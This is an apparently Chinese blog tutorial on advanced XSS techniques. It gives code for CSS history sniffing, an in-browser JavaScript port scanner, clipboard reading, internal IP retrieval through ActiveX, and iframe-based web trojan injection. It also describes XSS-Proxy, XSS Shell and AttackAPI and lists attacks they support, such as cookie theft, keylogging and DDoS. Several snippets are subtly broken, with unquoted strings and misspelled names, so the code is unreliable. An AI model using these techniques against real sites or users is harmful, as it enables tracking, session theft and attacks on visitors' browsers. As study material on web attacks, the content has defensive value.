XSS 专题二 XSS 提高

一.JavaScript/CSS history hack

<html>

<body>
<h3> Visited </h3>
<ul id="visited"> </ul>
<h3> Not Visited </h3>
<ul id="notvisited"> </ul>

<script>
var websites=[
"http://www.baidu.com/"
];
for(var i=0; i < websites.length;i++){
    var link=document.createElement("a");
    link.id="id"+i;
    link.href=websites[i];
    link.innerHTML=websites[i];
    document.write('<style>');
    document.write('#id'+i+":visited {color:#FF0000;}");
    document.write('</style>');
    document.body.appendChild(link);
    var color=document.defaultView.getComputedStyle(link,null).getPropertValue("color");
    document.body.removeChild(link);
    if(color == "rgb(255,0,0)"){
      var item=document.createElement('li');
      item.appendChild(link);
      document.getElementById('visited').appendChild(item);
    }else
    {
      var item=document.createElement('li');
      item.appendChild(link);
      document.getElementById('notvisited').appendChild(item);
    }
}
</script>
</body>

</html>

二.JavaScript 实现端口扫描

<html>

<body>
<form>
<label for="target">target</label><br/>
<input type="text" name="target" value="
www.gnucitizen.org"/><br/>
<label for="port">port</label><br/>
<input type="text" name="port" value="80"/><br/>
<p>you can use sequence as well 80,81,8080</p>
<label for="timeout">timeout</label><br/>
<input type="text" name="timeout" value="1000"/><br/>
<label for="result">result</label><br/>
<textarea id="result" name="result" rows="7" cols="50"></textarea><br/>
<input class="button" type="button" value="scan" onClick="javascript:scan(this.form)"/>
</form>

<script>
var AttackAPI = {
    version: 0.1,
    author: Petko Petkov (architect),
    homepage: http://www.gnucitizen.org};

AttackAPI.PortScanner = {};
AttackAPI.PortScanner.scanPort = function (callback, target, port, timeout) {
    var timeout = (timeout == null)?100:timeout;
    var img = new Image();
   
    img.onerror = function () {
        if (!img) return;
        img = undefined;
        callback(target, port, open);
    };
   
    img.onload = img.onerror;
    img.src = http:// + target + : + port;
   
    setTimeout(function () {
        if (!img) return;
        img = undefined;
        callback(target, port, closed);
    }, timeout);
};
AttackAPI.PortScanner.scanTarget = function (callback, target, ports, timeout)
{
    for (index = 0; index < ports.length; index++)
        AttackAPI.PortScanner.scanPort(callback, target, ports[index], timeout);
};
</script>
<script>
var result = document.getElementById(result);
var callback = function (target, port, status) {
    result.value += target + : + port + + status + " ";
};
var scan = function (form) {
    AttackAPI.PortScanner.scanTarget(callback, form.target.value, form.port.value.split(,), form.timeout.value);
};
</script>
</body>
</html>

三.JavaScript 查看剪贴板内容

对于IE有效,Firefox无效

<html>

<body>
<form action="test.php" method="post" id="test">
    <div id="someData">
        <textarea cols="40" rows="4" name="test">
        </textarea>
    </div>
    <input type="button" value="copy to clipboard" οnclick="setClipboard()">
    <input type="button" value="look clipboard" οnclick="readClipboard()">
    <input type="button" value="clear clipboard" οnclick="window.clipboardData.clearData('text');">
</form>
<script>
function readClipboard(){
    alert(window.clipboardData.getData('Text'));
}
function setClipboard(){
    var t=document.getElementById("someData").innerText;
    window.clipboardData.setData('text',t);
}
</script>
</body>
</html>

四.获取内网IP地址

<html>

<body>
<script>
function GetLocalIP(){
    var obj=null;
    var rslt="";
    try
    {
        obj=new ActiveXObject("rcbdyctl.Setting");
        rslt=obj.GetIPAddress;
        obj=null;
    }
    catch(e)
    {}
    return rslt;
}
document.write("Your IP is : "+GetLocalIP())
</script>
</body>
</html>

五.获取外网IP地址

<html>
<body>
<script>
    xml=new ActiveXObject("Microsoft.XMLHTTP");
    xml.open("GET","http://www.ip138.com/ip2city.asp",fasle);
    xml.send();
    kk=xml.ResponseText;
    i=kk.indexOf("[");
    ie=kk.indexOf("]");
    ip=kk.substring(i+1,ie);
    document.write("Your IP :"+ip);
</script>
</body>
</html>

六.网页挂马

<html>
<body>
<script>
    document.write("<iframe src=http://www.baidu.com width=100% height=100% ></iframe>")
</script>
</body>
</html>

七.Fiddler

Fiddler是最强大最好用的Web调试工具之一,它能记录所有客户端和服务器的http和https请求,允许你监视,设置断点,甚至修改输入输出数据. 使用Fiddler无论对开发还是测试来说,都有很大的帮助

八.XSS-Proxy

http://xss-proxy.sourceforge.net/

修改code_server和server_port两个参数,code_server是本地的xss-proxy server服务器域名

关于xss2.js

(1)showDoc()

  这个函数的功能就是加载当前用户浏览器窗口的内容到iframe,然后将iframe的内容转换成一个不大于2048个字节(URL长度限制)的url,并将此url作为对xss-proxy请求。

(2)scriptRequest()

        每12秒运行一次,用于与xss-proxy server的交互,包括一些javascript evaluate results。

(3)reportError()

        报告错误信息,如Dom对象访问错误等。

九.XSS Shell

XSS Shell一个windows环境下的XSS攻击平台。下载地址为:http://www.portcullis-security.com/tools/free/XSSShell039.zip
利用XSS Shell,攻击者可以轻松攻击存在XSS漏洞的网站的用户。目前可以实施的攻击包括但不限于:
1、获取用户cookie;
2、获取用户当前页面内容;
3、弹出窗口;
4、执行JS代码;
5、弹出与用户交互窗口;
6、获取键盘日志(测试中未成功);
7、获取鼠标日志(测试中未成功);
8、获取剪贴板(仅限IE);
9、获取内部IP(仅支持Mozilla* + JVM)
10、获取用户浏览历史;
11、Make a request with victim credentials (目前不了解)
12、DDoS;
13、耗尽用户计算机CPU资源。

http://labs.portcullis.co.uk/tools/xss-shell/ 下载地点

十.AttackAPI

   JavaScript 框架

下载地址http://www.gnucitizen.org/blog/attackapi/

http://code.google.com/p/attackapi/

1.提取并扫描当前已经安装的Firefox扩展

2.检测一个用户是否已经登录某站点

3.扫描客户端浏览历史

 或者

Anehta XSS利用工具在

http://code.google.com/p/anehta/downloads/list






评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值